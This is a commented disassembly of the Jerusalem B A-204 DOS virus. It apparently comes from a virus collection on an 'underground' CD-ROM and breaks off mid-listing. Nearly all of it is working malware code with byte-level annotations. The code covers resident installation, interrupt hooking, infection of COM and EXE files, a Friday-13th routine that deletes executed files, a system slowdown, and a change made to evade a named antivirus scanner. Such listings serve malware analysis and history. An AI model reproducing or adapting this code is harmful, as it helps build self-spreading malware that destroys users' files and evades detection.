Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / j / jerub204.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 41.0 KB | 977 lines

Virus : Jerusalem Version B Variant A-204 Disassembled by : Righard Zwienenberg Steenwijklaan 302 2541 RT The Hague The Netherlands Data : +31-70-3898822, V22,V22b,HST,MNP,CM Voive : +31-70-3675379 FidoNet address : 2:512/2.3 Used Software : ASMGEN, DEBUG and D86-Disassembler Date : 20 june 1990 Note : All Values are hex. If a value is followd by d (e.g. 30d) it means 30 decimal. Note : This disassembly consists of two programs. The original program was a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time C3 RET. 0100 E9 92 00 JMP 0195 ; JUMP -> 0195h 0103 db 2A,41,2D,32,30,34,2A ; *A-204* never used 010A dw 00 01 ; Startaddress original program 010C dw 01 56 ; Startaddress-offset original program 010E db 00 ; Trigger for destruction (delete file) ; Always zero, but if it is Friday the 13th and the year is ; not equal 1987 this byte is set to one 010F dw 00 00 ; Storing place for original AX (read-only word) 0111 dw 20 00 ; Length of Original Program (0020h) 0113 dw A5 FE ; Storing place for original BX of INT 08h vector 0115 dw 00 F0 ; Storing place for original ES of INT 08h vector 0117 dw 60 14 ; Storing place for original BX of INT 21h vector 0119 dw 2B 02 ; Storing place for original ES of INT 21h vector 011B dw 56 05 ; Storing place for original BX of INT 24h vector 011D dw DE 0C ; Storing place for original ES of INT 24h vector 011F dw 40 7E ; Storing place for timer for 30 minutes trigger ; By init. set to 7E90h ; The following words are never used by the virus. The are used ; by a routine starting at 0398h which is executed when INT 21h ; is called with AH=DEh. This never happens in the code. 0121 dw 00 00 ; 0123 dw 00 00 ; 0125 dw 00 00 ; 0127 dw 00 00 ; 0129 dw 00 00 ; 012B dw 00 00 ; 012D dw 00 E8 ; 012F dw 06 EC ; 0131 dw 91 16 ; Storing place for original ES 0133 dw 80 00 ; Storing place for BX. Never read again 0135 00 00 00 80 00 0139 dw 91 16 ; Storing place for original ES 013B 5C 00 013D dw 91 16 ; Storing place for original ES 013F 6C 00 ; 0141 dw 91 16 ; Temp. storing place for original ES 0143 dw 00 20 ; Temp. storing place for AX 0145 dw 0D 1F ; Temp. storing place for ES+10h 0147 dw 5F 21 ; Storing place for AX 0149 dw A1 16 ; Temp. storing place for ES+10h 014B dw 00 F0 ; Temp. storing place for AX 014D db 02 ; Temp. storing place for AL 014E db 00 ; COM/EXE indicator ; 0 = EXE-File ; 1 = COM-File 0151 dw 30 01 ; Temp. storing place for DX 0153 dw 23 00 ; Temp. storing place for AX 0155 20 01 0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it ; from AX 0159 D4 06 D4 06 015D dw 98 03 ; Temp. Storing place to store AX 015F dw 10 07 ; Probably startaddress of virus in mem 0161 dw 84 19 ; Never used!!! 1984h is stored here by the code 0163 dw C5 00 ; 00C5h is being read and put back later by the code 0165 dw 99 03 ; Temp. storing place for AX 0167 1C 00 00 00 90 90 90 90 C3 0170 dw 05 00 ; Storing place for file handle (BX) 0172 dw 20 00 ; Storing place for file attributes ; bit 0 = read only ; bit 1 = hidden file ; bit 2 = system file ; bit 3 = volume label ; bit 4 = subdirectory ; bit 5 = archive bit ; bit 8 = shareable (Novell Network) 0174 dw D5 14 ; Storing place for file date (DX) 0176 dw 99 83 ; Storing place for file time (CX) 0178 dw 00 02 ; 0200h=512d Used as multiplier/divider 017A dw 10 00 ; 0001h= 1d Used as multiplier/divider 017C dw 20 3E ; Temp. storing place for AX 017E dw 00 00 ; Temp. storing place for DX 0180 dw B9 42 ; Storing place for DX of ASCIZ-Filename 0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename 0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM ; May not become infected 018F dw 01 00 ; Storing place for variable-result of free-memory-scan ; 0000h : not enough memory available ; 0001h : enough memory available 0191 00 00 00 00 0195 FC CLD ; Clear Direct 0196 B4 E0 MOV AH,0E0 ; This is the check if the 0198 CD 21 INT 021 ; virus is already active ; in memory. INT 21h with ; AH=E0h will return AX=0300h ; if the virus is active. 019A 80 FC E0 CMP AH,0E0 ; AH>=E0h? 019D 73 16 JAE 01B5 ; Yes: -> 01B5h 019F 80 FC 03 CMP AH,3 ; AH<-03h? 01A2 72 11 JB 01B5 ; Yes: -> 01B5h ; INT 21h with AH= ; DDh,DEh,E0h ; are self-defined. ; SetUp for ; Executing original program ; We come here if an infected ; program is executed and the ; virus is already active in ; memory. 01A4 B4 DD MOV AH,0DD ; 01A6 BF 00 01 MOV DI,0100 ; Destination Index = 0100h 01A9 BE 10 07 MOV SI,0710 ; Source Index = 0710h 01AC 03 F7 ADD SI,DI ; Source Index:= 0810h ; At this place the original ; Program is located 01AE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=20h (length original ; Program) 01B3 CD 21 INT 021 ; ; Here we come when the virus ; is not yet in memory 01B5 8C C8 MOV AX,CS ; AX=Code Segment 01B7 05 10 00 ADD AX,010 ; AX:=AX+10h 01BA 8E D0 MOV SS,AX ; Stack Segment:=AX 01BC BC 00 07 MOV SP,0700 ; StackPointer = 0700h 01BF 50 PUSH AX ; Store AX 01C0 B8 C5 00 MOV AX,0C5 ; AX = C5h 01C3 50 PUSH AX ; Store AX 01C4 CB RETF ; -> C5h 01C5 FC CLD ; Clear Direct 01C6 06 PUSH ES ; Store ES 01C7 2E 8C 06 31 00 CS MOV W[031],ES ; Store ES 01CC 2E 8C 06 39 00 CS MOV W[039],ES ; in storage places 01D1 2E 8C 06 3D 00 CS MOV W[03D],ES ; 01D6 2E 8C 06 41 00 CS MOV W[041],ES ; 01DB 8C C0 MOV AX,ES ; AX=ES 01DD 05 10 00 ADD AX,010 ; AX=AX+10h 01E0 2E 01 06 49 00 CS ADD W[049],AX ; Add AX (ES+10h) to 0149h 01E5 2E 01 06 45 00 CS ADD W[045],AX ; and 0145h 01EA B4 E0 MOV AH,0E0 ; AH=E0h (Self defined) 01EC CD 21 INT 021 ; CALL INT 21h 01EE 80 FC E0 CMP AH,0E0 ; AH>=0Eh? 01F1 73 13 JAE 0206 ; Yes: -> 0206 01F3 80 FC 03 CMP AH,3 ; AH=03h? Must be if the ; viruscode is in memory ; and interrupt 21h is called ; with AH=E0h. 01F6 07 POP ES ; Restore original ES 01F7 2E 8E 16 45 00 CS MOV SS,W[045] ; SS=ES+10h 01FC 2E 8B 26 43 00 CS MOV SP,W[043] ; 0201 2E FF 2E 47 00 CS JMP D[047] ; 0206 33 C0 XOR AX,AX ; AX=0000h 0208 8E C0 MOV ES,AX ; ES=0000h 020A 26 A1 FC 03 ES MOV AX,W[03FC] ; Here the A-204 variant ; differs for the first ; time from the original ; Jerusalem Version B virus. 020E 26 A0 FE 03 ES MOV AL,B[03FE] ; These two line have been 0212 2E A3 4B 00 CS MOV W[04B],AX ; changed in order ; to avoid being ; detected by ViruScan from ; John McAfee. 0216 2E A2 4D 00 CS MOV B[04D],AL 021A 26 C7 06 FC 03 F3 A5 ES MOV W[03FC],0A5F3 0221 26 C6 06 FE 03 CB ES MOV B[03FE],0CB 0227 58 POP AX 0228 05 10 00 ADD AX,010 022B 8E C0 MOV ES,AX 022D 0E PUSH CS ; Store CS 022E 1F POP DS ; DS=CS 022F B9 10 07 MOV CX,0710 ; CX=0710h 0232 D1 E9 SHR CX,1 ; CX >> 1 (CX:=0308h) 0234 33 F6 XOR SI,SI ; SI=0000h 0236 8B FE MOV DI,SI ; DI=0000h 0238 06 PUSH ES ; Store ES 0239 B8 42 01 MOV AX,0142 ; AX=0142h 023C 50 PUSH AX ; Store AX 023D EA FC 03 00 00 JMP 0:03FC 0242 8C C8 MOV AX,CS ; AX=CS 0244 8E D0 MOV SS,AX ; SS=CS 0246 BC 00 07 MOV SP,0700 ; SP=0700h 0249 33 C0 XOR AX,AX ; AX=0000h 024B 8E D8 MOV DS,AX ; DS=0000h 024D 2E A1 4B 00 CS MOV AX,W[04B] ; Restore AX 0251 A3 FC 03 MOV W[03FC],AX ; Store AX 0254 2E A0 4D 00 CS MOV AL,B[04D] ; Restore AL 0258 A2 FE 03 MOV B[03FE],AL ; Store AL 025B 8B DC MOV BX,SP ; BX=SP 025D B1 04 MOV CL,4 ; CL=04h 025F D3 EB SHR BX,CL ; BX >> 4 0261 83 C3 10 ADD BX,010 ; BX=BX+10h 0264 2E 89 1E 33 00 CS MOV W[033],BX ; Store BX. Why I don't know, ; the storing place is never ; read again 0269 B4 4A MOV AH,04A ; 026B 2E 8E 06 31 00 CS MOV ES,W[031] ; Restore ES 0270 CD 21 INT 021 ; Adjust Memory Block Size ; (SETBLOCK) 0272 B8 21 35 MOV AX,03521 ; Get original INT 21h 0275 CD 21 INT 021 ; vector 0277 2E 89 1E 17 00 CS MOV W[017],BX ; Store BX and ES of INT 21h 027C 2E 8C 06 19 00 CS MOV W[019],ES ; vector 0281 0E PUSH CS ; Store CS 0282 1F POP DS ; DS=CS 0283 BA 5B 02 MOV DX,025B ; DX=025Bh 0286 B8 21 25 MOV AX,02521 ; Set new INT 21h 0289 CD 21 INT 021 ; vector on DS:025Bh 028B 8E 06 31 00 MOV ES,W[031] ; Restore original ES 028F 26 8E 06 2C 00 ES MOV ES,W[02C] ; 0294 33 FF XOR DI,DI ; DI=0000h 0296 B9 FF 7F MOV CX,07FFF ; CX=7FFFh 0299 32 C0 XOR AL,AL ; AL=0000h 029B F2 AE REPNE SCASB ; 029D 26 38 05 ES CMP B[DI],AL ; 02A0 E0 F9 LOOPNE 029B ; No Flags: DEC CX -> 02A2h ; IF CX<>0 and not equal ; -> 029B 02A2 8B D7 MOV DX,DI ; DX=DI 02A4 83 C2 03 ADD DX,3 ; DX=DX+03h 02A7 B8 00 4B MOV AX,04B00 ; AX=4B00h 02AA 06 PUSH ES ; Store ES 02AB 1F POP DS ; Restore DS (DS:=ES) 02AC 0E PUSH CS ; Store CS 02AD 07 POP ES ; Restore ES (ES:=CS) 02AE BB 35 00 MOV BX,035 ; BX=35h 02B1 1E PUSH DS ; Store Registers 02B2 06 PUSH ES 02B3 50 PUSH AX 02B4 53 PUSH BX 02B5 51 PUSH CX 02B6 52 PUSH DX 02B7 B4 2A MOV AH,02A ; Get Current Date 02B9 CD 21 INT 021 ; DL=day ; DH=month ; CX=year ; AL=Day of the week 02BB 2E C6 06 0E 00 00 CS MOV B[0E],0 ; Set Trigger for deleting ; infected files to 00h 02C1 81 F9 C3 07 CMP CX,07C3 ; Is year 1987 ? 02C5 74 30 JE 02F7 ; Yes: -> 02F7h 02C7 3C 05 CMP AL,5 ; Is it Friday ? 02C9 75 0D JNE 02D8 ; No: -> 02D8h 02CB 80 FA 0D CMP DL,0D ; Is it 13th ? 02CE 75 08 JNE 02D8 ; No: -> 02D8h ; Yes: it is Friday ; the 13th and the ; year is not equal 1987 02D0 2E FE 06 0E 00 CS INC B[0E] ; Set Trigger for deleting ; infected files to 01h 02D5 EB 20 JMP 02F7 ; JUMP -> 02F7h 02D7 90 NOP 02D8 B8 08 35 MOV AX,03508 ; Get original INT 8h 02DB CD 21 INT 021 ; vector 02DD 2E 89 1E 13 00 CS MOV W[013],BX ; Store original BX 02E2 2E 8C 06 15 00 CS MOV W[015],ES ; and ES of INT 08h vector 02E7 0E PUSH CS 02E8 1F POP DS 02E9 C7 06 1F 00 90 7E MOV W[01F],07E90 ; Store 30d minutes into ; timer interrupt. This ; value is decreased by ; one 18.2 times per second 02EF B8 08 25 MOV AX,02508 ; Set new INT 8h vector 02F2 BA 1E 02 MOV DX,021E ; to DS:021Eh 02F5 CD 21 INT 021 ; 02F7 5A POP DX ; Restore Registers 02F8 59 POP CX 02F9 5B POP BX 02FA 58 POP AX 02FB 07 POP ES 02FC 1F POP DS 02FD 9C PUSHF ; Store Flags 02FE 2E FF 1E 17 00 CS CALL D[017] ; Call original INT 21h ; address 0303 1E PUSH DS ; Restore DS 0304 07 POP ES ; Store ES 0305 B4 49 MOV AH,049 ; Free Memory 0307 CD 21 INT 021 ; 0309 B4 4D MOV AH,04D ; Get ExitCode of 030B CD 21 INT 021 ; SubProgram (WAIT) ; Stored in AL 030D B4 31 MOV AH,031 ; AX=31[AL]h 030F BA 00 06 MOV DX,0600 ; DX=600h 0312 B1 04 MOV CL,4 ; CL=04h 0314 D3 EA SHR DX,CL ; DX >> 4 (DX=60H) 0316 83 C2 10 ADD DX,010 ; DX=DX+10h (DX=70h) ; Program Size in Paragraphs ; is 70h Bytes 0319 CD 21 INT 021 ; Terminate but Stay Resident 031B 32 C0 XOR AL,AL ; Clear AL 031D CF IRET ; Interrupt Return ; 031Eh is the new INT 08h ; vector. This routine is ; called 18.2 times per ; second 031E 2E 83 3E 1F 00 02 CS CMP W[01F],2 ; Timer decreased til 02h? 0324 75 17 JNE 033D ; No: -> 033D ; Yes: now 32 minutes are ; passed since infection 0326 50 PUSH AX ; Store Registers 0327 53 PUSH BX 0328 51 PUSH CX 0329 52 PUSH DX 032A 55 PUSH BP 032B B8 02 06 MOV AX,0602 ; Scroll box with coordinates 032E B7 87 MOV BH,087 ; (5h,5h),(10h,10h) two 0330 B9 05 05 MOV CX,0505 ; lines upwards 0333 BA 10 10 MOV DX,01010 ; 0336 CD 10 INT 010 ; 0338 5D POP BP ; Restore Registers 0339 5A POP DX 033A 59 POP CX 033B 5B POP BX 033C 58 POP AX 033D 2E FF 0E 1F 00 CS DEC W[01F] ; Decrease Timer-Trigger ; This now becomes 01h 0342 75 12 JNE 0356 ; If 0: -> 0356h 0344 2E C7 06 1F 00 01 00 CS MOV W[01F],1 ; Timer-Trigger set to 01h 034B 50 PUSH AX ; Store AX 034C 51 PUSH CX ; Store CX 034D 56 PUSH SI ; Store SI 034E B9 01 40 MOV CX,04001 ; CX=4001h 0351 F3 AC REP LODSB ; Load byte [SI] into AL and ; advance SI, done CX times. ; This is the routine which ; decreases the speed of the ; machine til 1/5th of the ; original. 32 minutes after ; infection this routine is ; executes 18.2 times a second 0353 5E POP SI ; Restore SI 0354 59 POP CX ; Restore CX 0355 58 POP AX ; Restore AX 0356 2E FF 2E 13 00 CS JMP D[013] ; Jump to original INT 08h ; address ; Here we come if INT 21h is ; called 035B 9C PUSHF ; Store Flags 035C 80 FC E0 CMP AH,0E0 ; AH=0Eh ? 035F 75 05 JNE 0366 ; No: -> 0366h 0361 B8 00 03 MOV AX,0300 ; AX=0300h 0364 9D POPF ; Restore Flags 0365 CF IRET ; Interrupt Return 0366 80 FC DD CMP AH,0DD ; AH=DDh? 0369 74 13 JE 037E ; Yes: -> 037Eh 036B 80 FC DE CMP AH,0DE ; AH=DEh? 036E 74 28 JE 0398 ; Yes: -> 0398h ; INT 21h is never called ; with AH=DEh. So the routine ; at 0398h is never used ; (seems) 0370 3D 00 4B CMP AX,04B00 ; Load & Execute ? 0373 75 03 JNE 0378 ; No: -> 0378h 0375 E9 B4 00 JMP 042C ; Yes: -> 042Ch 0378 9D POPF ; Restore Flags 0379 2E FF 2E 17 00 CS JMP D[017] ; Jmp to original ; INT 21h address ; Execute original program 037E 58 POP AX 037F 58 POP AX ; Restore AX 0380 B8 00 01 MOV AX,0100 ; AX=0100h 0383 2E A3 0A 00 CS MOV W[0A],AX ; Store AX 0387 58 POP AX ; Restore AX 0388 2E A3 0C 00 CS MOV W[0C],AX ; Store AX 038C F3 A4 REP MOVSB ; 038E 9D POPF ; Restore Flags 038F 2E A1 0F 00 CS MOV AX,W[0F] ; AX=0000h 0393 2E FF 2E 0A 00 CS JMP D[0A] ; JUMP -> CS:0100h ; This executes the original ; program ; This routine is called ; when INT 21h with AH=DEh ; is called which never ; happens in the code. I ; have to investigate it ; a bit more. Til then ; it remains without comments. 0398 83 C4 06 ADD SP,6 039B 9D POPF 039C 8C C8 MOV AX,CS 039E 8E D0 MOV SS,AX 03A0 BC 10 07 MOV SP,0710 03A3 06 PUSH ES 03A4 06 PUSH ES 03A5 33 FF XOR DI,DI 03A7 0E PUSH CS 03A8 07 POP ES 03A9 B9 10 00 MOV CX,010 03AC 8B F3 MOV SI,BX 03AE BF 21 00 MOV DI,021 03B1 F3 A4 REP MOVSB 03B3 8C D8 MOV AX,DS 03B5 8E C0 MOV ES,AX 03B7 2E F7 26 7A 00 CS MUL W[07A] 03BC 2E 03 06 2B 00 CS ADD AX,W[02B] 03C1 83 D2 00 ADC DX,0 03C4 2E F7 36 7A 00 CS DIV W[07A] 03C9 8E D8 MOV DS,AX 03CB 8B F2 MOV SI,DX 03CD 8B FA MOV DI,DX 03CF 8C C5 MOV BP,ES 03D1 2E 8B 1E 2F 00 CS MOV BX,W[02F] 03D6 0B DB OR BX,BX 03D8 74 13 JE 03ED 03DA B9 00 80 MOV CX,08000 03DD F3 A5 REP MOVSW 03DF 05 00 10 ADD AX,01000 03E2 81 C5 00 10 ADD BP,01000 03E6 8E D8 MOV DS,AX 03E8 8E C5 MOV ES,BP 03EA 4B DEC BX 03EB 75 ED JNE 03DA 03ED 2E 8B 0E 2D 00 CS MOV CX,W[02D] 03F2 F3 A4 REP MOVSB 03F4 58 POP AX 03F5 50 PUSH AX 03F6 05 10 00 ADD AX,010 03F9 2E 01 06 29 00 CS ADD W[029],AX 03FE 2E 01 06 25 00 CS ADD W[025],AX 0403 2E A1 21 00 CS MOV AX,W[021] 0407 1F POP DS 0408 07 POP ES 0409 2E 8E 16 29 00 CS MOV SS,W[029] 040E 2E 8B 26 27 00 CS MOV SP,W[027] 0413 2E FF 2E 23 00 CS JMP D[023] ; We come here if B[0Eh]=1, ; which means Friday 13th, ; year<>1987. This routine ; deletes the loaded file. 0418 33 C9 XOR CX,CX ; Clear all bits of the File ; Attribute 041A B8 01 43 MOV AX,04301 ; 041D CD 21 INT 021 ; Put File Atributes 041F B4 41 MOV AH,041 ; 0421 CD 21 INT 021 ; Delete a File (Unlink) 0423 B8 00 4B MOV AX,04B00 0426 9D POPF ; Get Flags 0427 2E FF 2E 17 00 CS JMP D[017] ; We come here each time a ; file is loaded with the ; load and execute call ; (INT 21h, AX=4B00h) 042C 2E 80 3E 0E 00 01 CS CMP B[0E],1 ; Is it Friday 13th, ; year<>1987? 0432 74 E4 JE 0418 ; Yes: -> 0418h 0434 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle -1 ??? 043B 2E C7 06 8F 00 00 00 CS MOV W[08F],0 ; Clear Memory-Available ; variable 0442 2E 89 16 80 00 CS MOV W[080],DX ; DS:DX -> ASCIZ Filename, 0447 2E 8C 1E 82 00 CS MOV W[082],DS ; Store DX and DS 044C 50 PUSH AX 044D 53 PUSH BX 044E 51 PUSH CX 044F 52 PUSH DX 0450 56 PUSH SI 0451 57 PUSH DI 0452 1E PUSH DS 0453 06 PUSH ES 0454 FC CLD 0455 8B FA MOV DI,DX ; 0457 32 D2 XOR DL,DL ; DL=00h : Take Default Drive 0459 80 7D 01 3A CMP B[DI+1],03A ; ':' at 2nd place in ASCIZ- ; filename 045D 75 05 JNE 0464 ; No: -> 0464h 045F 8A 15 MOV DL,B[DI] ; Get Drive Letter 0461 80 E2 1F AND DL,01F ; Get Drive Code ; 0 = Default ; 1 = A ; 2 = B, etc. 0464 B4 36 MOV AH,036 ; 0466 CD 21 INT 021 ; Get disk space ; BX=# of available clusters ; CX=Bytes per sector ; DX=Total clusters 0468 3D FF FF CMP AX,-1 ; No Sectors Free? 046B 75 03 JNE 0470 ; No: -> 0470h 046D E9 77 02 JMP 06E7 ; Yes: -> 06E7h 0470 F7 E3 MUL BX ; Calculate Free Space 0472 F7 E1 MUL CX ; 0474 0B D2 OR DX,DX ; 0476 75 05 JNE 047D ; 0478 3D 10 07 CMP AX,0710 ; 1808 Bytes Free? 047B 72 F0 JB 046D ; No: -> 046Dh 047D 2E 8B 16 80 00 CS MOV DX,W[080] ; Restore DX's ASCIZ Filename 0482 1E PUSH DS 0483 07 POP ES 0484 32 C0 XOR AL,AL ; AL=00h 0486 B9 41 00 MOV CX,041 ; 0489 F2 AE REPNE SCASB ; Check if filename 048B 2E 8B 36 80 00 CS MOV SI,W[080] ; is in UPPERCASE 0490 8A 04 MOV AL,B[SI] ; 0492 0A C0 OR AL,AL ; All UPPERRCASE? 0494 74 0E JE 04A4 ; IF so: -> 04A4h 0496 3C 61 CMP AL,061 ; AL<'a' ? 0498 72 07 JB 04A1 ; Yes: -> 04A1h 049A 3C 7A CMP AL,07A ; AL>'z' ? 049C 77 03 JA 04A1 ; Yes: -> 04A1h 049E 80 2C 20 SUB B[SI],020 ; Transfer filename ; into UPPERCASE 04A1 46 INC SI ; SI=SI+1 04A2 EB EC JMP 0490 04A4 B9 0B 00 MOV CX,0B ; CX=0Bh 04A7 2B F1 SUB SI,CX ; Return SI to start ; of Filename 04A9 BF 84 00 MOV DI,084 ; Start of COMMAND.COM ; filename 04AC 0E PUSH CS 04AD 07 POP ES 04AE B9 0B 00 MOV CX,0B 04B1 F3 A6 REPE CMPSB ; Filename=COMMAND.COM ? 04B3 75 03 JNE 04B8 ; No: -> 04B8h 04B5 E9 2F 02 JMP 06E7 ; Yes: -> 06E7h ; We come here if the ; loaded program is not ; COMMAND.COM 04B8 B8 00 43 MOV AX,04300 ; 04BB CD 21 INT 021 ; Get File Attributes 04BD 72 05 JB 04C4 ; If Error: -> 04C4h 04BF 2E 89 0E 72 00 CS MOV W[072],CX ; Store File Attributes 04C4 72 25 JB 04EB ; If Error: -> 04EBh 04C6 32 C0 XOR AL,AL ; AL=00h 04C8 2E A2 4E 00 CS MOV B[04E],AL ; Dummy=0 04CC 1E PUSH DS ; 04CD 07 POP ES ; 04CE 8B FA MOV DI,DX ; 04D0 B9 41 00 MOV CX,041 ; 04D3 F2 AE REPNE SCASB ; 04D5 80 7D FE 4D CMP B[DI-2],04D ; "M" ? 04D9 74 0B JE 04E6 ; Yes: -> 04E6h 04DB 80 7D FE 6D CMP B[DI-2],06D ; "m" ? 04DF 74 05 JE 04E6 ; Yes: -> 04E6h 04E1 2E FE 06 4E 00 CS INC B[04E] ; Dummy=Dummy+1 04E6 B8 00 3D MOV AX,03D00 ; Open Disk File with 04E9 CD 21 INT 021 ; handle in compatibility ; mode ; DS:DX : -> ASCIZ Filename 04EB 72 5A JB 0547 ; IF Error: -> 0547h 04ED 2E A3 70 00 CS MOV W[070],AX ; Store File Handle 04F1 8B D8 MOV BX,AX ; BX=File Handle 04F3 B8 02 42 MOV AX,04202 ; Move File Read/Write ; Pointer (LSEEK) with ; offset from end of file 04F6 B9 FF FF MOV CX,-1 ; CX:DX = offset in bytes 04F9 BA FB FF MOV DX,-5 ; 04FC CD 21 INT 021 ; ; DX:AX = new absolute ; offset from beginning of ; file 04FE 72 EB JB 04EB ; If Error: -> 04EBh 0500 05 05 00 ADD AX,5 ; ???? 0503 2E A3 11 00 CS MOV W[011],AX ; Store Length of File 0507 B9 05 00 MOV CX,5 ; Read from a file with 050A BA 6B 00 MOV DX,06B ; handle BX 5h bytes into 050D 8C C8 MOV AX,CS ; DS:DX buffer 050F 8E D8 MOV DS,AX ; 0511 8E C0 MOV ES,AX ; 0513 B4 3F MOV AH,03F ; 0515 CD 21 INT 021 ; 0517 8B FA MOV DI,DX ; DI=DX=6Bh 0519 BE 05 00 MOV SI,5 ; SI=05h 051C F3 A6 REPE CMPSB ; Check first 5 bytes to see ; if a file already is ; infected 051E 75 07 JNE 0527 ; If not: -> 0527h 0520 B4 3E MOV AH,03E ; Close a file with 0522 CD 21 INT 021 ; handle 0524 E9 C0 01 JMP 06E7 ; Jump -> 06E7h 0527 B8 24 35 MOV AX,03524 ; Get original int 24h 052A CD 21 INT 021 ; vector. Stored in ES:BX 052C 89 1E 1B 00 MOV W[01B],BX ; Store BX of INT 24h vector 0530 8C 06 1D 00 MOV W[01D],ES ; Store ES of INT 24h vector 0534 BA 1B 02 MOV DX,021B ; Set new int 24h vector 0537 B8 24 25 MOV AX,02524 ; to DS:DX 053A CD 21 INT 021 ; 053C C5 16 80 00 LDS DX,[080] ; DS:DX=Filename 0540 33 C9 XOR CX,CX ; Get fileattributes 0542 B8 01 43 MOV AX,04301 ; Put File Attributes 0545 CD 21 INT 021 ; (CHMOD) 0547 72 3B JB 0584 ; If Error: -> 0584h 0549 2E 8B 1E 70 00 CS MOV BX,W[070] ; Close a file with 054E B4 3E MOV AH,03E ; handle BX 0550 CD 21 INT 021 ; 0552 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle=-1 ??? 0559 B8 02 3D MOV AX,03D02 ; Open File with 055C CD 21 INT 021 ; Handle in READ/WRITE mode 055E 72 24 JB 0584 ; If Error: -> 0584h 0560 2E A3 70 00 CS MOV W[070],AX ; Store File Handle 0564 8C C8 MOV AX,CS 0566 8E D8 MOV DS,AX 0568 8E C0 MOV ES,AX 056A 8B 1E 70 00 MOV BX,W[070] ; BX=File Handle 056E B8 00 57 MOV AX,05700 ; Get File' date/time- 0571 CD 21 INT 021 ; stamp 0573 89 16 74 00 MOV W[074],DX ; Move File Read/Write Pointer 0577 89 0E 76 00 MOV W[076],CX ; (LSEEK) with offset from 057B B8 00 42 MOV AX,04200 ; beginning of file with 057E 33 C9 XOR CX,CX ; CX:DX bytes 0580 8B D1 MOV DX,CX ; 0582 CD 21 INT 021 ; 0584 72 3D JB 05C3 ; If Error: -> 05C3h 0586 80 3E 4E 00 00 CMP B[04E],0 ; '0'? 058B 74 03 JE 0590 ; Yes: -> 0590h 058D EB 57 JMP 05E6 ; JUMP -> 05E6h 058F 90 NOP 0590 BB 00 10 MOV BX,01000 ; Number of 16d-byte para- ; graphs BX=1000h For COM- ; files there are 1000h 16d ; bytes paragrahs available 0593 B4 48 MOV AH,048 ; 0595 CD 21 INT 021 ; Allocate Memory 0597 73 0B JAE 05A4 ; If enough memory available ; -> 05A4h 0599 B4 3E MOV AH,03E ; Close a file with 059B 8B 1E 70 00 MOV BX,W[070] ; handle BX 059F CD 21 INT 021 ; 05A1 E9 43 01 JMP 06E7 ; JUMP -> 06E7h 05A4 FF 06 8F 00 INC W[08F] ; Set Memory-Available ; Variable (0001h) 05A8 8E C0 MOV ES,AX ; 05AA 33 F6 XOR SI,SI ; SI=0000h 05AC 8B FE MOV DI,SI ; DI=0000h 05AE B9 10 07 MOV CX,0710 ; CX=0710h (1808d) ; length of virus 05B1 F3 A4 REP MOVSB ; Put virus code at begin- ; ning of buffer ES:DI 05B3 8B D7 MOV DX,DI ; DX=DI=0710h 05B5 8B 0E 11 00 MOV CX,W[011] ; Restore Length of File 05B9 8B 1E 70 00 MOV BX,W[070] ; Restore File Handle 05BD 06 PUSH ES ; Read from a file with 05BE 1F POP DS ; handle CX (length 05BF B4 3F MOV AH,03F ; of file) bytes in buffer 05C1 CD 21 INT 021 ; DS:DX 05C3 72 1C JB 05E1 ; If Error: -> 05E1h 05C5 03 F9 ADD DI,CX ; DI=Length of original ; file+0710h (length of ; viruscode)+05h 05C7 33 C9 XOR CX,CX ; CX=0000h 05C9 8B D1 MOV DX,CX ; Move file read/write 05CB B8 00 42 MOV AX,04200 ; pointer with offset from 05CE CD 21 INT 021 ; beginning of file 05D0 BE 05 00 MOV SI,5 ; 05D3 B9 05 00 MOV CX,5 ; 05D6 F3 2E A4 REP CS MOVSB ; 05D9 8B CF MOV CX,DI ; CX=0715h(1813d)+length of ; original code 05DB 33 D2 XOR DX,DX ; DX=0000h 05DD B4 40 MOV AH,040 ; Write to file with handle 05DF CD 21 INT 021 ; CX bytes 05E1 72 0D JB 05F0 ; If Error: -> 05F0h 05E3 E9 BC 00 JMP 06A2 ; JUMP -> 06A2h 05E6 B9 1C 00 MOV CX,01C ; Read CX (1Ch) bytes from 05E9 BA 4F 00 MOV DX,04F ; file with handle 05EC B4 3F MOV AH,03F ; 05EE CD 21 INT 021 ; 05F0 72 4A JB 063C ; If Error: -> 063Ch 05F2 C7 06 61 00 84 19 MOV W[061],01984 ; Store 1984h=6532d 05F8 A1 5D 00 MOV AX,W[05D] ; 05FB A3 45 00 MOV W[045],AX ; 05FE A1 5F 00 MOV AX,W[05F] ; 0601 A3 43 00 MOV W[043],AX ; 0604 A1 63 00 MOV AX,W[063] ; 0607 A3 47 00 MOV W[047],AX ; 060A A1 65 00 MOV AX,W[065] ; 060D A3 49 00 MOV W[049],AX ; 0610 A1 53 00 MOV AX,W[053] ; 0613 83 3E 51 00 00 CMP W[051],0 ; '0000'? 0618 74 01 JE 061B ; Yes: -> 061Bh 061A 48 DEC AX ; AX=AX-01h 061B F7 26 78 00 MUL W[078] ; 061F 03 06 51 00 ADD AX,W[051] ; 0623 83 D2 00 ADC DX,0 ; 0626 05 0F 00 ADD AX,0F ; 0629 83 D2 00 ADC DX,0 ; 062C 25 F0 FF AND AX,-010 ; 062F A3 7C 00 MOV W[07C],AX ; Store AX 0632 89 16 7E 00 MOV W[07E],DX ; Store DX 0636 05 10 07 ADD AX,0710 ; AX=AX+1808 0639 83 D2 00 ADC DX,0 ; 063C 72 3A JB 0678 ; If Error :-> 0678h 063E F7 36 78 00 DIV W[078] ; 0642 0B D2 OR DX,DX ; 0644 74 01 JE 0647 ; 0646 40 INC AX ; AX=AX+01h 0647 A3 53 00 MOV W[053],AX ; 064A 89 16 51 00 MOV W[051],DX ; 064E A1 7C 00 MOV AX,W[07C] ; Restore AX 0651 8B 16 7E 00 MOV DX,W[07E] ; Restore DX 0655 F7 36 7A 00 DIV W[07A] ; 0659 2B 06 57 00 SUB AX,W[057] ; 065D A3 65 00 MOV W[065],AX ; 0660 C7 06 63 00 C5 00 MOV W[063],0C5 ; 0666 A3 5D 00 MOV W[05D],AX ; 0669 C7 06 5F 00 10 07 MOV W[05F],0710 ; 066F 33 C9 XOR CX,CX ; CX=0000h 0671 8B D1 MOV DX,CX ; DX=0000h 0673 